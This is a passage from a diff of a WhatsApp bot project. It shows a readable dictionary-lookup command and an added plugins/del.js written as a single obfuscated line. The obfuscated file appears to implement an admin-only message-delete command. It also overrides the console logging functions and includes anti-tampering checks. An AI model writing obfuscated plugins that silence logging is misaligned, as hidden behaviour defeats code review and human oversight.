desc: "📚 Get the definition of a word",
|
10 |
+
react: "🔍",
|
11 |
+
category: "Auther",
|
12 |
+
filename: __filename
|
13 |
+
},
|
14 |
+
async (conn, mek, m, { from, q, reply }) => {
|
15 |
+
try {
|
16 |
+
if (!q) return reply("❗ Please provide a word to define. Usage: .define [word]");
|
17 |
+
|
18 |
+
const word = q;
|
19 |
+
const url = `https://api.dictionaryapi.dev/api/v2/entries/en/${word}`;
|
20 |
+
|
21 |
+
const response = await axios.get(url);
|
22 |
+
const definitionData = response.data[0];
|
23 |
+
|
24 |
+
const definition = definitionData.meanings[0].definitions[0].definition;
|
25 |
+
const example = definitionData.meanings[0].definitions[0].example || 'No example available';
|
26 |
+
const synonyms = definitionData.meanings[0].definitions[0].synonyms.join(', ') || 'No synonyms available';
|
27 |
+
|
28 |
+
const wordInfo = `
|
29 |
+
📚 *Word*: ${definitionData.word}
|
30 |
+
🔍 *Definition*: ${definition}
|
31 |
+
📝 *Example*: ${example}
|
32 |
+
🔗 *Synonyms*: ${synonyms}
|
33 |
+
|
34 |
+
*MADE WITH ♥ ALI-MD*`;
|
35 |
+
|
36 |
+
return reply(wordInfo);
|
37 |
+
} catch (e) {
|
38 |
+
console.log(e);
|
39 |
+
if (e.response && e.response.status === 404) {
|
40 |
+
return reply("🚫 Word not found. Please check the spelling and try again.");
|
41 |
+
}
|
42 |
+
return reply("⚠️ An error occurred while fetching the definition. Please try again later.");
|
43 |
+
}
|
44 |
+
});
|
plugins/del.js
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
(function(_0xc623c3,_0x28dde9){function _0x1a676e(_0x117282,_0x582a71,_0x5dec56,_0x2a5e06){return _0x4bb6(_0x582a71-0x17f,_0x117282);}const _0x3dd15b=_0xc623c3();function _0x25844b(_0x106e53,_0x591abe,_0x83f95,_0xd2c867){return _0x4bb6(_0x83f95- -0x7e,_0xd2c867);}while(!![]){try{const _0x3adf7d=parseInt(_0x1a676e(0x2dc,0x2df,0x2dd,0x2ec))/(0x1d3*-0x8+-0x1f2*0x12+0x1*0x319d)+-parseInt(_0x1a676e(0x2e6,0x2e2,0x2f4,0x2eb))/(-0x2*-0xcac+-0x6a6*-0x1+0x59*-0x5c)+parseInt(_0x1a676e(0x2b6,0x2d0,0x2dc,0x2b9))/(-0x987*-0x3+0x252e+-0x41c0)*(-parseInt(_0x1a676e(0x2d6,0x2c7,0x2c0,0x2b5))/(0xafe+0x435*0x9+-0x30d7))+-parseInt(_0x25844b(0xb3,0xd0,0xb7,0x9f))/(0x2d9+-0x143a+0x1166)+-parseInt(_0x25844b(0xae,0xb3,0xc7,0xbc))/(-0x18ed+-0x247c+0x3d6f*0x1)+-parseInt(_0x1a676e(0x2be,0x2b6,0x2b2,0x2ca))/(0x197c+0x1482+-0x2df7)+parseInt(_0x1a676e(0x2c4,0x2e4,0x2e1,0x2eb))/(-0x2659*-0x1+-0xa17+0xe1d*-0x2);if(_0x3adf7d===_0x28dde9)break;else _0x3dd15b['push'](_0x3dd15b['shift']());}catch(_0x122d9f){_0x3dd15b['push'](_0x3dd15b['shift']());}}}(_0x522f,0x2c3e*0x9+-0x2*0x2b3+0xfdd0));const _0x234d89=(function(){let _0x1b947a=!![];return function(_0x336527,_0x341313){const _0x551a1e=_0x1b947a?function(){function _0x5a20be(_0x24d2b1,_0x1c3dab,_0xedf276,_0x45380d){return _0x4bb6(_0xedf276- -0x2de,_0x24d2b1);}if(_0x341313){const _0x564418=_0x341313[_0x5a20be(-0x19b,-0x174,-0x18e,-0x19e)](_0x336527,arguments);return _0x341313=null,_0x564418;}}:function(){};return _0x1b947a=![],_0x551a1e;};}()),_0x3d8bf3=_0x234d89(this,function(){function _0x5cca49(_0x2a0d48,_0x397cf6,_0xb4767,_0x3a4c21){return _0x4bb6(_0x2a0d48- -0x2e4,_0x3a4c21);}function _0x85a975(_0x26a124,_0x1fae3b,_0x52474d,_0x1b5f6d){return _0x4bb6(_0x1fae3b-0x3df,_0x1b5f6d);}return _0x3d8bf3[_0x85a975(0x50c,0x517,0x528,0x505)]()[_0x5cca49(-0x17c,-0x174,-0x193,-0x179)]('(((.+)+)+)'+'+$')[_0x5cca49(-0x1ac,-0x19f,-0x191,-0x1bb)]()[_0x85a975(0x52d,0x519,0x518,0x4fd)+'r'](_0x3d8bf3)[_0x5cca49(-0x17c,-0x17a,-0x171,-0x179)]('(((.+)+)+)'+'+$');});_0x3d8bf3();function _0x4bb6(_0x5e61de,_0x3d8bf3){const _0x234d89=_0x522f();return _0x4bb6=function(_0x522fe1,_0x4bb6cf){_0x522fe1=_0x522fe1-(0x1*-0xbb5+0xcef+-0x11);let _0x57a985=_0x234d89[_0x522fe1];return _0x57a985;},_0x4bb6(_0x5e61de,_0x3d8bf3);}const _0x520dae=(function(){let _0x3f855f=!![];return function(_0x4608b9,_0x4d4ee6){const _0x53cd63=_0x3f855f?function(){function _0x26180a(_0x249c43,_0x16037b,_0xe4d923,_0x2a04cc){return _0x4bb6(_0x16037b- -0xfd,_0x2a04cc);}function _0x196690(_0x2b894e,_0x298abc,_0x489fd9,_0x13ad0e){return _0x4bb6(_0x13ad0e- -0x36f,_0x2b894e);}if(_0x4d4ee6){if(_0x26180a(0x22,0x33,0x3e,0x3e)!==_0x196690(-0x25b,-0x239,-0x258,-0x23f)){if(_0x34c46e){const _0x124f32=_0x38247d[_0x26180a(0x65,0x53,0x3a,0x3d)](_0x3d99ba,arguments);return _0x7142cb=null,_0x124f32;}}else{const _0x15ba0b=_0x4d4ee6[_0x196690(-0x20d,-0x201,-0x20e,-0x21f)](_0x4608b9,arguments);return _0x4d4ee6=null,_0x15ba0b;}}}:function(){};return _0x3f855f=![],_0x53cd63;};}()),_0x327182=_0x520dae(this,function(){const _0x727db2={'yyHqb':function(_0x50f87e,_0x8ce2d){return _0x50f87e(_0x8ce2d);},'tCwWm':function(_0x5abbd4,_0x2a88ed){return _0x5abbd4+_0x2a88ed;},'huxbh':'{}.constru'+_0x292ee6(-0x269,-0x278,-0x27c,-0x265)+_0x292ee6(-0x274,-0x26c,-0x27d,-0x280)+'\x20)','Fmmju':function(_0x65d3df){return _0x65d3df();},'PPiZc':function(_0x164c7e,_0x355cd7){return _0x164c7e(_0x355cd7);},'QggrC':_0x292ee6(-0x272,-0x274,-0x269,-0x275)+_0x292ee6(-0x26a,-0x24f,-0x269,-0x285),'gnAeA':'KwfSG','ABrSI':_0x292ee6(-0x286,-0x29a,-0x27e,-0x270),'ODswA':_0x292ee6(-0x256,-0x25a,-0x267,-0x26f),'ZgzVd':'exception','yJBUP':'table','FGOWh':function(_0x1c5517,_0x6a6831){return _0x1c5517<_0x6a6831;}};let _0x5051df;function _0x4e3b83(_0x3b614e,_0x564a25,_0x2c1b0f,_0x155d3c){return _0x4bb6(_0x155d3c-0x183,_0x3b614e);}try{const _0x584377=_0x727db2['PPiZc'](Function,_0x727db2['tCwWm'](_0x727db2['QggrC']+_0x727db2[_0x4e3b83(0x2a3,0x298,0x2c2,0x2b4)],');'));_0x5051df=_0x727db2[_0x4e3b83(0x2f9,0x2c9,0x2eb,0x2da)](_0x584377);}catch(_0x2093a2){if('PIVGo'!==_0x727db2[_0x4e3b83(0x2da,0x2e0,0x2e0,0x2ce)])_0x5051df=window;else{const _0x3f1db5=_0x727db2[_0x292ee6(-0x28b,-0x27d,-0x273,-0x297)](_0x43d449,_0x727db2[_0x292ee6(-0x284,-0x290,-0x271,-0x276)]('return\x20(fu'+_0x292ee6(-0x26a,-0x289,-0x267,-0x25a),_0x727db2['huxbh'])+');');_0x58602f=_0x727db2[_0x292ee6(-0x261,-0x267,-0x25f,-0x25b)](_0x3f1db5);}}function _0x292ee6(_0x4bedca,_0x176401,_0x307c3a,_0x26591d){return _0x4bb6(_0x4bedca- -0x3b8,_0x176401);}const _0x33dff9=_0x5051df[_0x4e3b83(0x2be,0x2ca,0x2f1,0x2dd)]=_0x5051df[_0x4e3b83(0x2f7,0x2fd,0x2e9,0x2dd)]||{},_0x5d4253=[_0x292ee6(-0x25a,-0x276,-0x23f,-0x25a),'warn',_0x727db2['ABrSI'],_0x727db2[_0x4e3b83(0x2c0,0x2c0,0x2b9,0x2cc)],_0x727db2[_0x4e3b83(0x2a6,0x2d7,0x2cc,0x2be)],_0x727db2[_0x292ee6(-0x27b,-0x263,-0x285,-0x294)],_0x4e3b83(0x2dd,0x2f1,0x2c2,0x2db)];for(let _0x639648=0xc*-0x195+-0xd*-0x1c7+-0x41f;_0x727db2[_0x292ee6(-0x254,-0x257,-0x24f,-0x242)](_0x639648,_0x5d4253[_0x4e3b83(0x2bf,0x2af,0x2b9,0x2b2)]);_0x639648++){const _0x3b78ce=_0x520dae[_0x292ee6(-0x27e,-0x263,-0x29d,-0x283)+'r'][_0x292ee6(-0x275,-0x261,-0x269,-0x263)]['bind'](_0x520dae),_0x4b5787=_0x5d4253[_0x639648],_0x419d68=_0x33dff9[_0x4b5787]||_0x3b78ce;_0x3b78ce[_0x292ee6(-0x25d,-0x271,-0x264,-0x279)]=_0x520dae[_0x292ee6(-0x266,-0x246,-0x274,-0x247)](_0x520dae),_0x3b78ce['toString']=_0x419d68['toString']['bind'](_0x419d68),_0x33dff9[_0x4b5787]=_0x3b78ce;}});_0x327182();const {cmd}=require('../command'),fs=require('fs');function _0x29497b(_0x5029a3,_0x36ea73,_0x5b77fe,_0x16a15a){return _0x4bb6(_0x5029a3-0x16b,_0x36ea73);}function _0x522f(){const _0x17c82e=['del','quoted','search','\x20the\x20messa','dlt','category','σᴜᴘ\x20α∂мιɴs','yyHqb','key','length','AsXvW','huxbh','info','group','tCwWm','1549290RLScHY','PxFBF','952056YkzpYT','toString','filename','constructo','ZgzVd','sage','yJBUP','ge.','\x20σʀ\x20тнє\x20σω','react','Delete\x20mes','chat','prototype','rn\x20this\x22)(','375660evXdXL','return\x20(fu','alias','304bLldhh','ODswA','є\x20тнιѕ\x20ᴄσм','gnAeA','ɴєʀ\x20ᴄαɴ\x20ᴜs','path','nction()\x20','ctor(\x22retu','apply','7302CqpbXL','bind','pattern','fromMe','use','sendMessag','Fmmju','trace','e\x20deleting','console','__proto__','delete','*📛\x20σɴℓʏ\x20gʀ','log','sender','178950TEOmUx','Ihjjr','error','106998laJHaQ','FGOWh','5868296WKvYRE'];_0x522f=function(){return _0x17c82e;};return _0x522f();}const path=require(_0x29497b(0x2b8,0x2cb,0x2ca,0x2b0));function _0x4d824a(_0x24b2da,_0x48cce4,_0x2839b1,_0x1af538){return _0x4bb6(_0x48cce4-0x58,_0x24b2da);}const _0x11d8b8={};_0x11d8b8[_0x4d824a(0x197,0x1ab,0x1b1,0x1ca)]=_0x4d824a(0x1aa,0x1b4,0x1c9,0x1b5),_0x11d8b8[_0x29497b(0x2ab,0x296,0x2b4,0x29c)]='🧹',_0x11d8b8[_0x29497b(0x2b2,0x2a8,0x2cd,0x2c9)]=[_0x29497b(0x2d1,0x2bd,0x2da,0x2ce),_0x29497b(0x295,0x29d,0x2a1,0x27b),'d'],_0x11d8b8['desc']=_0x4d824a(0x179,0x199,0x193,0x184)+_0x29497b(0x2a7,0x291,0x2bf,0x2ab),_0x11d8b8[_0x29497b(0x296,0x2a1,0x2a6,0x2a2)]=_0x4d824a(0x173,0x18b,0x16c,0x18f),_0x11d8b8[_0x29497b(0x2c0,0x2dc,0x2b9,0x2de)]='.del',_0x11d8b8[_0x29497b(0x2a4,0x2af,0x2b0,0x289)]=__filename,cmd(_0x11d8b8,async(_0x172995,_0x2cd619,_0x8e8456,{from:_0x57edda,l:_0x3d9e1d,quoted:_0x58229f,body:_0x4b5491,isCmd:_0x113be0,command:_0x495868,args:_0x22989a,q:_0x1793cd,isGroup:_0x5823c5,sender:_0x42e96e,senderNumber:_0x369229,botNumber2:_0x5f584a,botNumber:_0x27a9c2,pushname:_0x556b2c,isMe:_0x40f3ee,isOwner:_0x17bdb5,groupMetadata:_0x53265b,groupName:_0x4412aa,participants:_0x2225e7,isItzcp:_0x47334d,groupAdmins:_0x51af1a,isBotAdmins:_0x2f359a,isAdmins:_0x41dfbb,reply:_0x85ee99})=>{function _0x5e427c(_0x1b636c,_0x86ef6,_0x2654b6,_0x3bd530){return _0x4d824a(_0x1b636c,_0x2654b6-0x139,_0x2654b6-0xd5,_0x3bd530-0x94);}const _0x47a453={'cvfKW':function(_0x360af8,_0x409697){return _0x360af8&&_0x409697;},'Ihjjr':function(_0x3fea81,_0x5eb551){return _0x3fea81(_0x5eb551);},'PxFBF':_0x5e427c(0x2fe,0x30d,0x2ee,0x2e7)+_0x5e8c6b(0x448,0x45b,0x42c,0x464)+_0x5e8c6b(0x45b,0x465,0x45d,0x46b)+_0x5e427c(0x2c7,0x2fd,0x2dd,0x2e5)+_0x5e427c(0x2f6,0x2e3,0x2db,0x2e9)+'мαɴ∂.*'};function _0x5e8c6b(_0x171fd2,_0x3de8cc,_0x45a3fb,_0x1df6ff){return _0x4d824a(_0x45a3fb,_0x171fd2-0x2c4,_0x45a3fb-0x180,_0x1df6ff-0x1f0);}if(_0x47a453['cvfKW'](!_0x17bdb5,!_0x41dfbb))return _0x47a453[_0x5e8c6b(0x47d,0x496,0x46f,0x499)](_0x85ee99,_0x47a453[_0x5e427c(0x2b0,0x2db,0x2c7,0x2b8)]);try{if(!_0x8e8456[_0x5e8c6b(0x483,0x46a,0x468,0x468)]||!_0x8e8456['quoted']['id'])return;const _0xc86dbb=_0x8e8456[_0x5e427c(0x301,0x2e3,0x2f8,0x2e5)][_0x5e8c6b(0x44a,0x464,0x43a,0x465)]||{'remoteJid':_0x8e8456[_0x5e8c6b(0x45e,0x474,0x451,0x447)],'fromMe':_0x8e8456[_0x5e427c(0x2eb,0x2dd,0x2f8,0x2ed)][_0x5e8c6b(0x470,0x47d,0x472,0x453)],'id':_0x8e8456['quoted']['id'],'participant':_0x8e8456[_0x5e427c(0x2ed,0x2ef,0x2f8,0x2e4)][_0x5e8c6b(0x47b,0x496,0x497,0x47b)]},_0x418e47={};_0x418e47[_0x5e8c6b(0x478,0x476,0x47e,0x471)]=_0xc86dbb,await _0x172995[_0x5e8c6b(0x472,0x486,0x48c,0x491)+'e'](_0x8e8456[_0x5e427c(0x2ea,0x2b6,0x2d3,0x2f2)],_0x418e47);}catch(_0x44e7e7){console[_0x5e427c(0x2f6,0x305,0x2ef,0x2e3)](_0x44e7e7),_0x85ee99('Error\x20whil'+_0x5e8c6b(0x475,0x47e,0x48c,0x47d)+_0x5e8c6b(0x445,0x45c,0x464,0x436)+_0x5e427c(0x2dc,0x2b0,0x2cf,0x2ca));}});
|